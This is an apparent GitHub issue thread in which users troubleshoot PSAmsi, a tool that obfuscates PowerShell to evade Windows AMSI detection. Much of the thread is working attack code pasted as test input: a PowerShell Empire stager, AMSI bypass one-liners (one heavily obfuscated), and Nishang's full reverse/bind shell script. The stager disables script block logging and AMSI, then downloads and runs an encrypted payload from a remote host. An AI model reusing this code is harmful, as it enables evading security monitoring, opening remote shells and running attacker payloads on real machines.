Open Hubbl3 opened 5 years ago
Upon further investigation. There seems to be some issue when using -GetMinimallyObfuscated with -ScriptPath even when running PSAMSI client/server from the same box
Hey @lonewolf210 , are you able to share the script you are trying to obfuscate? Hard to determine the issue without it. It's possible that PSAmsi was not able to find a sufficiently obfuscated version.
@cobbr No problem I am trying to obfuscate the initial stage 0 from Powershell Empire as I already know about what that should look like:
If($PSVERSiONTAbLe.PSVErSION.MAjor -GE 3){ $e01=[ReF].AsSEMBLy.GEtTYpE('System.Management.Automation.Utils')."GETFiE
ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
If($e01){
$F46=$E01.GetValue($nuLl);
If($f46['ScriptB'+'lockLogging']){
$f46['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$F46['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
}
$VAL=[COlLEcTiONs.GeNeRIC.DIcTIOnArY[STRIng,SYSTem.OBjecT]]::NEw();
$val.ADd('EnableScriptB'+'lockLogging',0);
$Val.Add('EnableScriptBlockInvocationLogging',0);
$F46['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL
}
ELsE{
[ScRIPTBlOCk]."GetFiE`ld"('signatures','N'+'onPublic,Static').SEtVALuE($NUll,(New-OBjeCT ColleCtiOnS.GeNEric.HaShSet[STrinG]))
}
$REf=[REF].AsSEmbLy.GETType('System.Management.Automation.Am'+'siU'+'tils');
$Ref.GetField("amsiInitFailed",'NonPublic,Static').SEtVaLUe($NULL,$tRUE);
};
$A9A=NeW-OBjECT SySteM.NeT.WEBCLiEnt; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $A9A.HeADErS.AdD('User-Agent',$u); $A9a.HeAdERs.AdD('User-Agent',$u); $A9a.PrOxY=[SYstEM.Net.WeBReqUEsT]::DeFauLtWEbPROxY; $A9A.PrOxY.CrEDentIALS = [SysTeM.NeT.CrEDeNtIAlCAcHE]::DEfaULTNETWorkCReDenTIalS; $Script:Proxy = $a9a.Proxy; $K=[SysTem.TEXT.ENcODiNg]::ASCII.GETByTeS('UNR>fS)H}@J#Ejgnpmi7rw-M<o8=vOq:'); $R={ $D,$K=$ArgS; $S=0..255; 0..255|%{$J=($J+$S[$]+$K[$%$K.COuNt])%256;$S[$],$S[$J]=$S[$J],$S[$]}; $D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-Bxor$S[($S[$I]+$S[$H])%256]} }; $ser=$([TEXt.ENcoDiNg]::UnicodE.GETSTRInG([COnVert]::FromBASe64STRInG('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANwAyAC4AMQA3ADIA'))); $t='/login/process.php'; $a9a.HeaDeRs.ADd("Cookie","jDYpbTTMjY=n+MYwCyK2EAXXQ45s8TL2Cuyprc="); $DAta=$a9A.DownLoADDATa($ser+$t);$IV=$DAtA[0..3]; $DaTa=$data[4..$dAtA.lENGTh]; -JoIn[CHaR[]](& $R $dAtA ($IV+$K))|IEX `
The 'AmsiInitFailed' string should trigger a flag and AMSI has been flagging the script block as a whole even with the AmsiInitFailed obfuscated. So I thought maybe it was as you mentioned that it couldn't find a solution and tried just passing the string amsicontext
which should just be a simple concatenation to break the signature but it still returned an unobfuscated string.
Yesterday I tried just running the Get-MinimallyObfuscated module in a session that utilized an AMSI bypass so I didn't need the server/client config. The function did successfully return the amsicontext
string obfuscated when run locally but when I tried the above script the function crashed with a stackoverflow error. Is that an error that gets thrown when the script can't be satisfactorily obfuscated? Or is the AST to large? I don't think it's the latter as I watched the derbycon talk where you were obfuscating the mimikatz script which is significantly longer.
@cobbr just an update. It does work if I pass the script in as a one liner but Get-MinimallyObfusctaed does not seem to work with the -ScriptPath switch. It simply returns the file path. ScriptPath works fine with Get-AmsiSignatures
Interesting, thanks for digging into that @lonewolf210, I'll look into it. Could you share the code you are using to launch the scan?
@cobbr here is how I am normally starting it when not using the Server/Client setup between kali and windows box:
$Ref=[REF].Assembly.GetType('System.Management.Automation.Am'+'siU'+'tils'); $Ref.GetField('amsi'+"Init"+"Failed",'NonPublic,Static').SetValue($NULL,$true);
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass;
Import-Module .\PSAmsi.psd1;
Get-MinimallyObfuscated -ScriptPath <file path>
or
Get-MinimallyObfuscated -ScriptBlock {Script}
Hello, I think I am having the same problem.
I am running Invoke-PSAmsiScan command twice, once to check if the code will be flagged, and the other one using and expanding the "MinimallyObfuscated" property, but it's showing the same code with no obfuscation. This sample is Nishang's reverse PowerShell TCP First check
PS D:\Toolz\OffsecScripts\PSAmsi-master> Invoke-PSAmsiScan -ScriptPath .\sample.ps1
ScriptIsFlagged
---------------
True
Then:
PS D:\Toolz\OffsecScripts\PSAmsi-master> Invoke-PSAmsiScan -ScriptPath .\sample.ps1 -GetMinimallyObfuscated
ScriptIsFlagged MinimallyObfuscated
--------------- -------------------
True function Invoke-PowerShellTcp ...
PS D:\Toolz\OffsecScripts\PSAmsi-master> Invoke-PSAmsiScan -ScriptPath .\sample.ps1 -GetMinimallyObfuscated | select -ExpandProperty MinimallyObfuscated function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Think I have the same problem. Just downloaded the tools.
PS C:\Users\user> S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
PS C:\Users\user> Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass;
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y
PS C:\Users\user> ipmo C:\Tools\Evasion\PSAmsi-master\PSAmsi\PSAmsi.psd1
PS C:\Users\user> Get-MinimallyObfuscated -ScriptPath C:\Tools\PowerView.ps1
C:\Tools\PowerView.ps1
It doesn't return anything? I tried it another way by doing the following:
PS C:\Users\user> Invoke-PSAmsiScan -ScriptPath C:\Tools\PowerView.ps1
ScriptIsFlagged
---------------
True
$data = Invoke-PSAmsiScan -ScriptPath C:\Tools\PowerView.ps1 -GetMinimallyObfuscated
PS C:\Tools\test> $data
ScriptIsFlagged MinimallyObfuscated
--------------- -------------------
True #requires -version 2...
$data.MinimallyObfuscated > powerview1.ps1
PS C:\Tools\test> Invoke-PSAmsiScan -ScriptPath .\PowerView.ps1
ScriptIsFlagged
---------------
True
PS C:\Tools\test> ls
Directory: C:\Tools\test
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2021 11:47 PM 791193 PowerView.ps1
-a---- 1/6/2022 9:54 AM 1582392 powerview1.ps1
PS C:\Tools\test> $data = Invoke-PSAmsiScan -ScriptPath .\PowerView.ps1 -GetMinimallyObfuscated
PS C:\Tools\test> $data.MinimallyObfuscated > powerview2.ps1
PS C:\Tools\test> ls
Directory: C:\Tools\test
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2021 11:47 PM 791193 PowerView.ps1
-a---- 1/6/2022 9:54 AM 1582392 powerview1.ps1
-a---- 1/6/2022 9:57 AM 1582392 powerview2.ps1
It doesn't give me an obfuscated version of Powerview.
I have a PSAMSi server being run on a Kali VM with the Client being run on a VM. PSAmsi is properly finding the flags when using the -FindAmsiSignatures switch but is simply returning the original script with no modifications when the -GetMinimallyObfuscated flag is used.